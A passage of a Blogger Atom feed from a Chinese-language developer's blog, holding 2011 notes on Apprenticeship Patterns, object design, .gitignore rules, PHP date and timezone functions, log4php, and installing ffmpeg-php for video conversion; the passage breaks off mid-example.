type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/8365914909776845121/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=8365914909776845121' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8365914909776845121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/8365914909776845121'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/streaming.html' title='Streaming'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3381641551197035557</id><published>2011-08-27T08:20:00.006+08:00</published><updated>2011-08-27T08:41:01.130+08:00</updated><title type='text'>書：學徒模式 Apprenticeship Patterns</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://covers.oreilly.com/images/9780596518387/cat.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://covers.oreilly.com/images/9780596518387/cat.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;很棒的一本書&lt;br /&gt;教導軟體人員在不同階段的學習心態&lt;br /&gt;&lt;br /&gt;最重要的是認清自己的無知&lt;br /&gt;才能持續學習&lt;br /&gt;且軟體的技術太多 單只會特定一項就自以為是&lt;br /&gt;要跟外界多交流，而不是閉門造車 &lt;br /&gt;否則只會是個井底之蛙&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;列出作者提的模式清單&lt;br /&gt;時時回顧，鞭策自己&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;不同的道路&lt;br /&gt;你發現你想要前進的方向與軟體工藝之路不同&lt;/li&gt;&lt;li&gt;成為菜鳥&lt;br /&gt;隨著你超越身邊其他人，你發現自己學習的速度減慢&lt;/li&gt;&lt;li&gt;拋棄式玩具&lt;br /&gt;你在一個無法允許失敗的環境工作，然而你需要一個安全的地方學習&lt;/li&gt;&lt;li&gt;具體技能&lt;br /&gt;你想要在一個偉大的開發團隊中工作，但你只擁有極少的實務經驗&lt;/li&gt;&lt;li&gt;正視你的無知&lt;br /&gt;你發現自己的知識有巨大的差距，但你的工作要求你瞭解這些主題&lt;/li&gt;&lt;li&gt;工藝先於藝術&lt;br /&gt;你需要交付解決方案給客戶，可以選擇一個簡潔、驗證過的解決方式或是藉機建立一個新穎、了不起的解決方案&lt;/li&gt;&lt;li&gt;建立回饋迴路&lt;br /&gt;你無法分辨自己是否處於「無自覺的無知」&lt;/li&gt;&lt;li&gt;量身繪製地圖&lt;br /&gt;僱主所提供的職涯路線都不適合&lt;/li&gt;&lt;li&gt;擴展你的頻寬&lt;br /&gt;你對軟體開發的瞭解很狹窄，專注在每天工作上的低階細節&lt;/li&gt;&lt;li&gt;顯露你的無知&lt;/li&gt;&lt;li&gt;熟悉使用工具&lt;/li&gt;&lt;li&gt;尋找個人導師&lt;/li&gt;&lt;li&gt;志趣相同的夥伴&lt;/li&gt;&lt;li&gt;自失敗中學習&lt;/li&gt;&lt;li&gt;培養你的熱情&lt;/li&gt;&lt;li&gt;練習練習再練習&lt;/li&gt;&lt;li&gt;持續閱讀&lt;/li&gt;&lt;li&gt;閱讀清單&lt;/li&gt;&lt;li&gt;記錄個人所學&lt;/li&gt;&lt;li&gt;邊工作邊反省&lt;/li&gt;&lt;li&gt;退回舒適區&lt;/li&gt;&lt;li&gt;密切交往&lt;/li&gt;&lt;li&gt;分享個人所學&lt;/li&gt;&lt;li&gt;堅守初衷&lt;/li&gt;&lt;li&gt;研讀經典&lt;/li&gt;&lt;li&gt;持續的動力&lt;/li&gt;&lt;li&gt;打掃地板&lt;/li&gt;&lt;li&gt;深水區&lt;/li&gt;&lt;li&gt;漫漫長路&lt;/li&gt;&lt;li&gt;繫上白帶&lt;/li&gt;&lt;li&gt;釋放你的熱情&lt;/li&gt;&lt;li&gt;使用原始碼&lt;/li&gt;&lt;li&gt;使用你的頭銜&lt;/li&gt;&lt;li&gt;你的第一個語言 &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3381641551197035557?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3381641551197035557/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3381641551197035557' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3381641551197035557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3381641551197035557'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/apprenticeship-patterns.html' title='書：學徒模式 Apprenticeship Patterns'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-3234416277722650063</id><published>2011-08-26T22:18:00.000+08:00</published><updated>2011-10-04T10:16:54.437+08:00</updated><title type='text'>Object &amp; Data Structure</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;資料隱藏&lt;br /&gt;如setter及getter對I/O的validate及filter&lt;br /&gt;而data structure會曝露資料&lt;br /&gt;如同從db來欄位出來用tb['name']&lt;br /&gt;將來欄位修改為name2時，不同引用的地方就都得改&lt;br /&gt;而物件就只需要在組成的地方修改即可&lt;/li&gt;&lt;li&gt;抽像化&lt;br /&gt;&lt;div ckass="code"&gt;&lt;pre class="brush: java"&gt;&lt;br /&gt;public interface Vehicle {&lt;br /&gt;    double getPercentFuelRemaining();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;透過method操作資料&lt;br /&gt;不用知道實作的細節&lt;br /&gt;上例不會從程式裡知道data的細節&lt;br /&gt;user只知道要呼叫的method,不用考慮細節或有何資料&lt;br /&gt;連setter及getter都不用&lt;br /&gt;而data structure曝露資料且無意義的名稱&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-3234416277722650063?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/3234416277722650063/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=3234416277722650063' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3234416277722650063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/3234416277722650063'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/object-data-structure.html' title='Object &amp; Data Structure'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5183905842708900383</id><published>2011-08-26T17:14:00.001+08:00</published><updated>2011-12-19T15:24:21.867+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>.gitignore</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;不加入版本控管可透過.gitgnore設定&lt;br /&gt;在git的根目錄下建.gitgnore，其內容設定&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush: php;"&gt;tmp.txt                  #不加入tmp.txt&lt;br /&gt;*.log                    #不加入所有的log檔&lt;br /&gt;tmp/*                    #不加入tmp下所有檔&lt;br /&gt;log/**/*.log             #忽略log目錄下包含子目錄的所有.log檔案&lt;br /&gt;log/**/*                 #略特定目錄下的所有檔案(log本身這個目錄仍會被加入repository)&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;其他過濾條件(其實就正規表達式)&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;？：代表任意的一個字元&lt;/li&gt;&lt;li&gt;＊：代表任意數目的字元&lt;/li&gt;&lt;li&gt;{!ab}：必需不合於此pattern&lt;/li&gt;&lt;li&gt;{ab,bb,cx}：代表合於ab,bb,cx之一種pattern即可&lt;/li&gt;&lt;li&gt;[abc]：代表合於a,b,c中任一字元即可&lt;/li&gt;&lt;li&gt;[^abc]：代表必需不合於a,b,c中任一字元&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;p.s 由於git不會加入空目錄，所以下面做法會導致tmp不會存在&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;tmp/*                    #不加入tmp下所有檔&lt;/pre&gt;&lt;/div&gt;改一下做法，在tmp下也加個.gitignore，其內容為&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;*&lt;br /&gt;!.gitignore&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;FAQ&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;加入ignore無效？&lt;br /&gt;明明就已經加入了，但一樣會檢查&lt;br /&gt;一開始就commit，已把檔案放進repository追蹤&lt;br /&gt;所以每次改變都會檢查，這時只要下&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;git rm --cached ignore_file&lt;/pre&gt;&lt;/div&gt;然後再commit一次，這樣就ok啦&lt;br /&gt;p.s. 當然這次 gitignore就要先寫好後記：但別人merge後，不知為何他的ignore_file會整個刪掉....&lt;/li&gt;&lt;/ul&gt;References&lt;a href="http://mactruecolor.blogspot.com/2011/01/git-ignore.html"&gt;git ignore&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5183905842708900383?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5183905842708900383/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5183905842708900383' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5183905842708900383'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5183905842708900383'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/gitignore.html' title='.gitignore'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-637615332107468932</id><published>2011-08-25T17:17:00.001+08:00</published><updated>2011-12-13T10:03:11.945+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>PHP時間函數</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;取值&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;取今天日期&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$today = date("F j, Y, g:i a");                 // March 10, 2001, 5:16 pm&lt;br /&gt;$today = date("m.d.y");                         // 03.10.01&lt;br /&gt;$today = date("j, n, Y");                       // 10, 3, 2001&lt;br /&gt;$today = date("Ymd");                           // 20010310&lt;br /&gt;$today = date('h-i-s, j-m-y, it is w Day');     // 05-16-18, 10-03-01, 1631 1618 6 Satpm01&lt;br /&gt;$today = date('\i\t \i\s \t\h\e jS \d\a\y.');   // it is the 10th day.&lt;br /&gt;$today = date("D M j G:i:s T Y");               // Sat Mar 10 17:16:18 MST 2001&lt;br /&gt;$today = date('H:m:s \m \i\s\ \m\o\n\t\h');     // 17:03:18 m is month&lt;br /&gt;$today = date("H:i:s");                         // 17:16:18&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;取今、明、後天的秒數&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$tomorrow  = mktime(0, 0, 0, date("m")  , date("d")+1, date("Y"));&lt;br /&gt;$lastmonth = mktime(0, 0, 0, date("m")-1, date("d"),   date("Y"));&lt;br /&gt;$nextyear  = mktime(0, 0, 0, date("m"),   date("d"),   date("Y")+1);&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;取特定日期到目前的秒數&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;$Date_In = '2007-01-08';&lt;br /&gt;echo time() - strtotime($Date_In); // Output the number of seconds between now and $Date_In&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Validation&lt;br /&gt;&lt;ul&gt;&lt;li&gt;判斷是否日期是否正確&lt;br /&gt;if(&lt;a href="http://php.net/manual/en/function.strtotime.php"&gt;strtotime&lt;/a&gt;($Date_In))&lt;br /&gt;...&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://php.net/manual/en/function.date.php"&gt;php date &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-637615332107468932?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/637615332107468932/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=637615332107468932' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/637615332107468932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/637615332107468932'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/php_25.html' title='PHP時間函數'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-1484421669408961645</id><published>2011-08-25T10:39:00.002+08:00</published><updated>2011-10-12T12:16:41.879+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>log4php</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Install&lt;br /&gt;&lt;ol&gt;&lt;li&gt;download Apache log4php&lt;/li&gt;&lt;li&gt;copy &lt;br /&gt;將src/main/php/搬到目的地/var/www/html/log4php&lt;br /&gt;&lt;code class="console"&gt;#mv src/main/php /var/www/html/log4php&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt;Configuration&lt;br /&gt;可用XML, properties or PHP files來設定&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;log4php.appender.default = LoggerAppenderDailyFile&lt;br /&gt;log4php.appender.default.layout = LoggerLayoutPattern&lt;br /&gt;log4php.appender.default.layout.ConversionPattern = "%d{ISO8601} [%p] %c: %m (at %F line %L)%n"&lt;br /&gt;log4php.appender.default.datePattern = Ymd&lt;br /&gt;log4php.appender.default.file = logs/behavior/%s.log&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html"&gt;Pattern Layout Parameters&lt;/a&gt;&lt;br /&gt;%d 時間&lt;br /&gt;%p log的level( info, error , ...)&lt;br /&gt;$c appender的名稱&lt;br /&gt;%m message&lt;br /&gt;%F filename&lt;br /&gt;%L 行數&lt;br /&gt;%n 斷行&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;references&lt;br /&gt;&lt;a href="http://blog.csdn.net/cjy37/article/details/5610437"&gt;php的 log4php 安装配置详解 （附下载地址）&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1484421669408961645?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1484421669408961645/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1484421669408961645' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1484421669408961645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1484421669408961645'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/log4php.html' title='log4php'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4025380826896006470</id><published>2011-08-25T10:20:00.000+08:00</published><updated>2011-08-25T10:20:10.777+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>時區設定</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;date_default_timezone_set('Asia/Taipei');&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.php.net/manual/en/timezones.php"&gt;List of Supported Timezones&lt;/a&gt;&lt;br /&gt;&lt;ul class="chunklist chunklist_appendix"&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.africa.php"&gt;Africa&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.america.php"&gt;America&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.antarctica.php"&gt;Antarctica&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.arctic.php"&gt;Arctic&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.asia.php"&gt;Asia&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.atlantic.php"&gt;Atlantic&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.australia.php"&gt;Australia&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.europe.php"&gt;Europe&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.indian.php"&gt;Indian&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.pacific.php"&gt;Pacific&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.php.net/manual/en/timezones.others.php"&gt;Others&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4025380826896006470?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4025380826896006470/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4025380826896006470' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4025380826896006470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4025380826896006470'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/blog-post.html' title='時區設定'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7478593303235863916</id><published>2011-08-22T21:55:00.006+08:00</published><updated>2012-01-03T09:33:15.178+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>PHP轉影音檔</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://mrbignose.blogspot.com/2010/04/linux-php.html"&gt;[轉]使用PHP進行影片轉檔及擷取縮圖&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;要在 Linux 主機上使用 PHP 進行影片轉檔，須安裝 LAME、ffmpeg、Ruby、FLVTool2。&lt;br /&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;安裝 LAME&lt;br /&gt;LAME 是用來將聲音壓成 MP3 格式，並加入 --enable-shared 以供 ffmpeg 使用&lt;br /&gt;網址：http://lame.sourceforge.net/&lt;br /&gt;&lt;br /&gt;下載完成後，輸入下列命令：&lt;br /&gt;[root@localhost ~]# tar -zxvf lame-3.98.4.tar.gz&lt;br /&gt;[root@localhost ~]# cd lame-3.98.4&lt;br /&gt;[root@localhost ~]# ./configure --enable-shared -prefix=/usr&lt;br /&gt;[root@localhost ~]# make&lt;br /&gt;[root@localhost ~]# make install&lt;/li&gt;&lt;li&gt;安裝 ffmpeg&lt;br /&gt;ffmpeg 影片轉檔系統，其 libavcodec 涵蓋大部分影片格式，不過仍有轉換 FLV 上的問題，須另外安裝 FLVTools 來修正。&lt;br /&gt;網址：http://www.ffmpeg.org/&lt;br /&gt;&lt;br /&gt;下載完成後，輸入下列命令：&lt;br /&gt;[root@localhost ~]# tar -zxvf ffmpeg-0.5.1.tar.gz&lt;br /&gt;[root@localhost ~]# cd ffmpeg-0.5.1&lt;br /&gt;[root@localhost ~]# ./configure --enable-gpl --enable-libmp3lame --enable-shared --prefix=/usr&lt;br /&gt;&lt;blockquote class=""&gt;如果遇到yasm not found，就用無敵的yum install yasm&lt;br /&gt;如果遇到yum找不到yasm，就先裝epel&lt;br /&gt;&lt;div class="code"&gt;&lt;pre class="brush:php;"&gt;//32bit &lt;br /&gt;sudo rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm&lt;br /&gt;&lt;br /&gt;//64bit&lt;br /&gt;sudo rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;/blockquote&gt;[root@localhost ~]# make clean &amp;amp;&amp;amp; make&lt;br /&gt;[root@localhost ~]# make install&lt;/li&gt;&lt;li&gt;安裝 Ruby&lt;br /&gt;FLVTool2 可以修正 ffmpeg 不正確儲存 FLV metadata 的問題，不過它是用 Ruby 寫的，須先安裝 Ruby。&lt;br /&gt;網址：http://www.ruby-lang.org/en/&lt;br /&gt;&lt;br /&gt;下載完成後，輸入下列命令：&lt;br /&gt;[root@localhost ~]# tar -zxvf ruby-1.9.1-p376.tar.gz&lt;br /&gt;[root@localhost ~]# cd ruby-1.9.1-p376&lt;br /&gt;[root@localhost ~]# ./configure&lt;br /&gt;[root@localhost ~]# make&lt;br /&gt;[root@localhost ~]# make install&lt;/li&gt;&lt;li&gt;安裝 FLVTool2&lt;br /&gt;FLVTool2 是一個用來編輯FLV檔的套件，透過它來儲存FLV檔，確保 FLV 檔裡有正確的 metadata。&lt;br /&gt;網址：http://rubyforge.org/projects/flvtool2/&lt;br /&gt;&lt;br /&gt;下載完成後，輸入下列命令：&lt;br /&gt;[root@localhost ~]# tar -xvf flvtool2-1.0.6.tar&lt;br /&gt;[root@localhost ~]# cd flvtool2-1.0.6&lt;br /&gt;[root@localhost ~]# ruby setup.rb config&lt;br /&gt;[root@localhost ~]# ruby setup.rb setup&lt;br /&gt;[root@localhost ~]# ruby setup.rb install&lt;/li&gt;&lt;li&gt;安裝 ffmpeg-php&lt;br /&gt;為了讓 PHP 取得影片的資料，要安裝 ffmpeg-php 插件。&lt;br /&gt;網址：http://ffmpeg-php.sourceforge.net/&lt;br /&gt;&lt;br /&gt;下載完成後，輸入下列命令：&lt;br /&gt;[root@localhost ~]# tar -xvf ffmpeg-php-0.6.0.tbz2&lt;br /&gt;[root@localhost ~]# cd ffmpeg-php-0.6.0&lt;br /&gt;[root@localhost ~]# phpize&lt;br /&gt;[root@localhost ~]# ./configure &amp;amp;&amp;amp; make&lt;br /&gt;[root@localhost ~]# make install&lt;br /&gt;&lt;br /&gt;在configure &amp;amp;&amp;amp; make階段遇到CODEC_TYPE_VIDEO undeclared問題&lt;br /&gt;新增yum的Repository後&lt;br /&gt;重裝yum install ffmpeg ffmpeg-devel ffmpeg-libpostproc 解決一些問&lt;br /&gt;&lt;a href="http://chrisjean.com/2009/01/13/install-ffmpeg-and-ffmpeg-php-on-centos-easily/"&gt;Install FFmpeg and ffmpeg-php on CentOS Easily&lt;/a&gt;&lt;br /&gt;之後又遇到‘PIX_FMT_RGBA32′undeclared 看下篇解決&lt;br /&gt;&lt;a href="http://blog.hostonnet.com/ffmpeg-php-error-pix_fmt_rgba32"&gt;ffmpeg-php error PIX_FMT_RGBA32&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=""&gt;如果 Apache 是使用 XAMPP 請參考這篇：&lt;br /&gt;[Linux] 在 XAMPP 上安裝 PHP extension (以 ffmpeg-php 為例)&lt;/blockquote&gt;&lt;br /&gt;make後 可以看到產生ffmpeg.so的資料&lt;br /&gt;再搬到/usr/lib64/php/modules/ffmpeg.so&lt;br /&gt;即可設定 PHP 載入這個plugin。&lt;/li&gt;&lt;li&gt;設定 php.ini&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;code class="console"&gt;#vi /etc/php.ini&lt;/code&gt;&lt;br /&gt;加入以下內容：&lt;br /&gt;[ffmpeg]&lt;br /&gt;extension=ffmpeg.so&lt;/li&gt;&lt;li&gt;重開apache&lt;br /&gt;&lt;code class="console"&gt;#service httpd restart&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;最後重啟 Apache&lt;/li&gt;&lt;li&gt;開始轉檔&lt;br /&gt;以下是一個簡單的範例：&lt;br /&gt;PHP程式碼&lt;br /&gt;&lt;code&gt;//ffmpeg 的執行路徑&lt;br /&gt;$ffmpegPath = "/usr/bin/ffmpeg";&lt;br /&gt;//來源影片路徑&lt;br /&gt;$srcFile = '/var/www/html/ffmpeg/upload/test_in.wmv';&lt;br /&gt;//輸出影片路徑&lt;br /&gt;$outFile = '/var/www/html/ffmpeg/upload/test_out.flv';&lt;br /&gt;//輸出縮圖路徑&lt;br /&gt;$outImg = '/var/www/html/ffmpeg/upload/test.jpg';&lt;br /&gt;&lt;br /&gt;//取得影片資訊&lt;br /&gt;$ffmpegObj = new ffmpeg_movie($srcFile);&lt;br /&gt;//取得音頻比特率&lt;br /&gt;$srcAB = intval($ffmpegObj-&amp;gt;getAudioBitRate()/1000);&lt;br /&gt;&lt;br /&gt;//將影片轉換為FLV檔&lt;br /&gt;exec("$ffmpegPath -i $srcFile -f flv -s 436x324 -acodec libmp3lame -ar 22050 -ac 2 -ab $srcAB -y $outFile");&lt;br /&gt;&lt;br /&gt;//從影片產生縮圖&lt;br /&gt;exec("$ffmpegPath -itsoffset -1  -i $srcFile -vcodec mjpeg -vframes 1 -an -f rawvideo -s 436x324 